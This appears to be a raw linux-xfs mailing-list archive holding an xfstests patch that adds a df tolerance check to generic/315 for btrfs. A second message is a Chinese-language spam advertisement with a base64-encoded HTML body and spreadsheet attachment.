mx1.fusionio.com (unknown [10.101.1.160]) by dkim2.fusionio.com (Postfix) with ESMTP id 5DA979A0407 for ; Mon, 29 Jul 2013 12:55:59 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1375124159; bh=QTOxs06CQDzbZkNKAVn5R8U9nbAL2vf1E6UwPjaxspc=; h=From:To:Subject:Date; b=nTprhO3XVimf4aViryn/U623AsQ58FUp5nt228Tqtw3NDNxkpJCliVFkB5ccZ4VKh RF3mVB6O4dHo5x7Wbj5JC+2M13aMBqdJCr4mbtsSQ73RrlIRCNyV+9+J0fOR8dIMfn /2W2Ni8uHakQPMzafHuThw1P09Mq8qBmHC/0VCj8= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx1.fusionio.com with ESMTP id qItPe5zMZQpJwJO0 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Mon, 29 Jul 2013 12:55:58 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 29 Jul 2013 12:55:58 -0600 From: Josef Bacik To: , , , Subject: [PATCH] xfstests: generic/315: allow a little tolerance for our used check Date: Mon, 29 Jul 2013 14:55:56 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: generic/315: allow a little tolerance for our used check Message-ID: <1375124156-17620-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.7.7.6 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim2.fusionio.com[66.114.96.54] X-Barracuda-Start-Time: 1375124159 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137413 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature So df in btrfs is tricky at best, and relying on it for accurate information is not great, but it's the best way to verify this test. To get around btrfs being inconsistent sometimes just use _within_tolerance to check our new df value to make sure that our truncate did something. With this patch I no longer see transient failures of this test. Thanks, Signed-off-by: Josef Bacik --- tests/generic/315 | 3 ++- 1 files changed, 2 insertions(+), 1 deletions(-) diff --git a/tests/generic/315 b/tests/generic/315 index 7cfc40d..9c01b5e 100644 --- a/tests/generic/315 +++ b/tests/generic/315 @@ -73,7 +73,8 @@ sync # Preallocated disk space should be released avail_done=`df -P $TEST_DIR | awk 'END {print $4}'` -[ "$avail_done" -eq "$avail_begin" ] || _fail "Available disk space ($avail_done KiB)" +_within_tolerance "df" $avail_done $avail_begin 1% +[ $? -eq 0 ] || _fail "Available disk space ($avail_done KiB) wanted ($avail_begin KiB)" # success, all done exit -- 1.7.7.6 From zhaojunmiao@king-job.com.cn Mon Jul 29 15:54:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A46A77F3F for ; Mon, 29 Jul 2013 15:54:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 93DD5304067 for ; Mon, 29 Jul 2013 13:54:15 -0700 (PDT) X-ASG-Debug-ID: 1375131251-04cb6c153d1eb160001-w1Z2WR Received: from king-job.com.cn (mail.king-job.com.cn [118.144.83.66]) by cuda.sgi.com with ESMTP id TZPy3niy8g50Qwhq for ; Mon, 29 Jul 2013 13:54:12 -0700 (PDT) X-Barracuda-Envelope-From: zhaojunmiao@king-job.com.cn X-Barracuda-Apparent-Source-IP: 118.144.83.66 Received: from lszip.kmdns.net [183.0.168.245] by king-job.com.cn with ESMTP (SMTPD-8.22) id A5660CE8; Tue, 30 Jul 2013 04:49:42 +0800 Date: Tue, 30 Jul 2013 04:52:34 +0800 From: =?gb2312?B?wr3Dw7u3?= To: Subject: =?gb2312?B?xvPStcjLwabXytS0udzA7bPJuaa1xMPYw9w1NDQ0NDQx?= =?gb2312?B?MjU=?= Message-ID: <20130730045245843218@king-job.com.cn> X-ASG-Orig-Subj: =?gb2312?B?xvPStcjLwabXytS0udzA7bPJuaa1xMPYw9w1NDQ0NDQx?= =?gb2312?B?MjU=?= X-mailer: Foxmail 7.0.1.83[cn] Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====003_Dragon886563806106_=====" X-Barracuda-Connect: mail.king-job.com.cn[118.144.83.66] X-Barracuda-Start-Time: 1375131251 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137416 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header --=====003_Dragon886563806106_===== Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu dD0idGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNi4w MC4yOTAwLjYzODAiIG5hbWU9R0VORVJBVE9SPjwvSEVBRD4NCjxCT0RZPg0KPFA+PEZPTlQgc2l6 ZT00PmxpbnV4LXJhaWSjrMT6usOjujwvRk9OVD48L1A+DQo8UD48Rk9OVCBzaXplPTQ+xvPStdXQ xrihorjazru31s72oaLIztaw18q48byw0L2z6rX31fvT67yo0KfD5sy4vLzHyTwvRk9OVD48L1A+ DQo8UD48Rk9OVCBzaXplPTQ+18ogwc8gx+sgsukgytUmbmJzcDvXyiDBz6OhPC9GT05UPjwvUD4N CjxQPjxGT05UIHNpemU9ND7Ls9ejPC9GT05UPjwvUD4NCjxQPjxGT05UIHNpemU9ND7JzOz3o6E8 L0ZPTlQ+PC9QPg0KPFA+PEZPTlQgc2l6ZT00PjIwMTMtNy0zMCA0OjUyOjQzPC9GT05UPjwvUD48 L0JPRFk+PC9IVE1MPg0K --=====003_Dragon886563806106_===== Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet; name="=?gb2312?B?1dAgxrgguNogzrsueGxzeA==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?gb2312?B?1dAgxrgguNogzrsueGxzeA==?=" UEsDBBQABgAIAAAAIQCnDOt5awEAAA0FAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACs lM9uwjAMxu+T9g5VrlMb2GGaJgqH/TluSGMPkCUujUiTKDYM3n5pCmhCHQjBpVEb+/t9ce2MJuvG ZCsIqJ0t2bAYsAysdErbecm+Zm/5I8uQhFXCOAsl2wCyyfj2ZjTbeMAsZlssWU3knzhHWUMjsHAe bNypXGgExdcw517IhZgDvx8MHrh0lsBSTq0GG49eoBJLQ9nrOn7unAQwyLLnLrBllUx4b7QUFJ3y lVUHlHxLKGJmisFae7yLNhjvJbQ7/wO2eR+xNEEryKYi0Ltoog2+NvzHhcW3c4viuEiPS1dVWoJy ctnEChToAwiFNQA1pkhr0Qhtd76P8FMw8rQMr2ykPV8SPuGD4v8Gnp6XW0gyJ4BIGwN45dN2oqfI tQigPinEybi6gb/ax3zEvpkG5zFOUIDzq7AbkTY791EIAmnYD0lfs+2JcfrOBx50O7TzrUCdy5ZL JNdcjO9keuA8XWbjXwAAAP//AwBQSwMEFAAGAAgAAAAhABNevmUFAQAA3wIAAAsACAJfcmVscy8u cmVscyCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACsks9OwzAMxu9IvEOU++puIITQ0l0mpN0QKg9gEveP2sZRkkH39gQkBJVGuwPH 2J8///wp29049OKNfGjZKrnOcinIajatrZV8KR9X91KEiNZgz5aUPFGQu+L6avtMPcY0FJrWBZFc bFCyidE9AATd0IAhY0c2dSr2A8b09DU41B3WBJs8vwP/20MWE09xMEr6g7mRojy5tHnZm6uq1bRn fRzIxjMrgMZI1pBZOZ/YfGzTNaJEX1NU0rB+SuUA6FyWsCWcJ9pcTvT3tTBQRIMRQbOneZ5PxRzQ +nKg5Yimip90xh7e2XevzN0cy+1/suhjiDwshPOl+UaCybcsPgAAAP//AwBQSwMEFAAGAAgAAAAh AIE+lJf0AAAAugIAABoACAF4bC9fcmVscy93b3JrYm9vay54bWwucmVscyCiBAEooAABAAAAAAAA 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 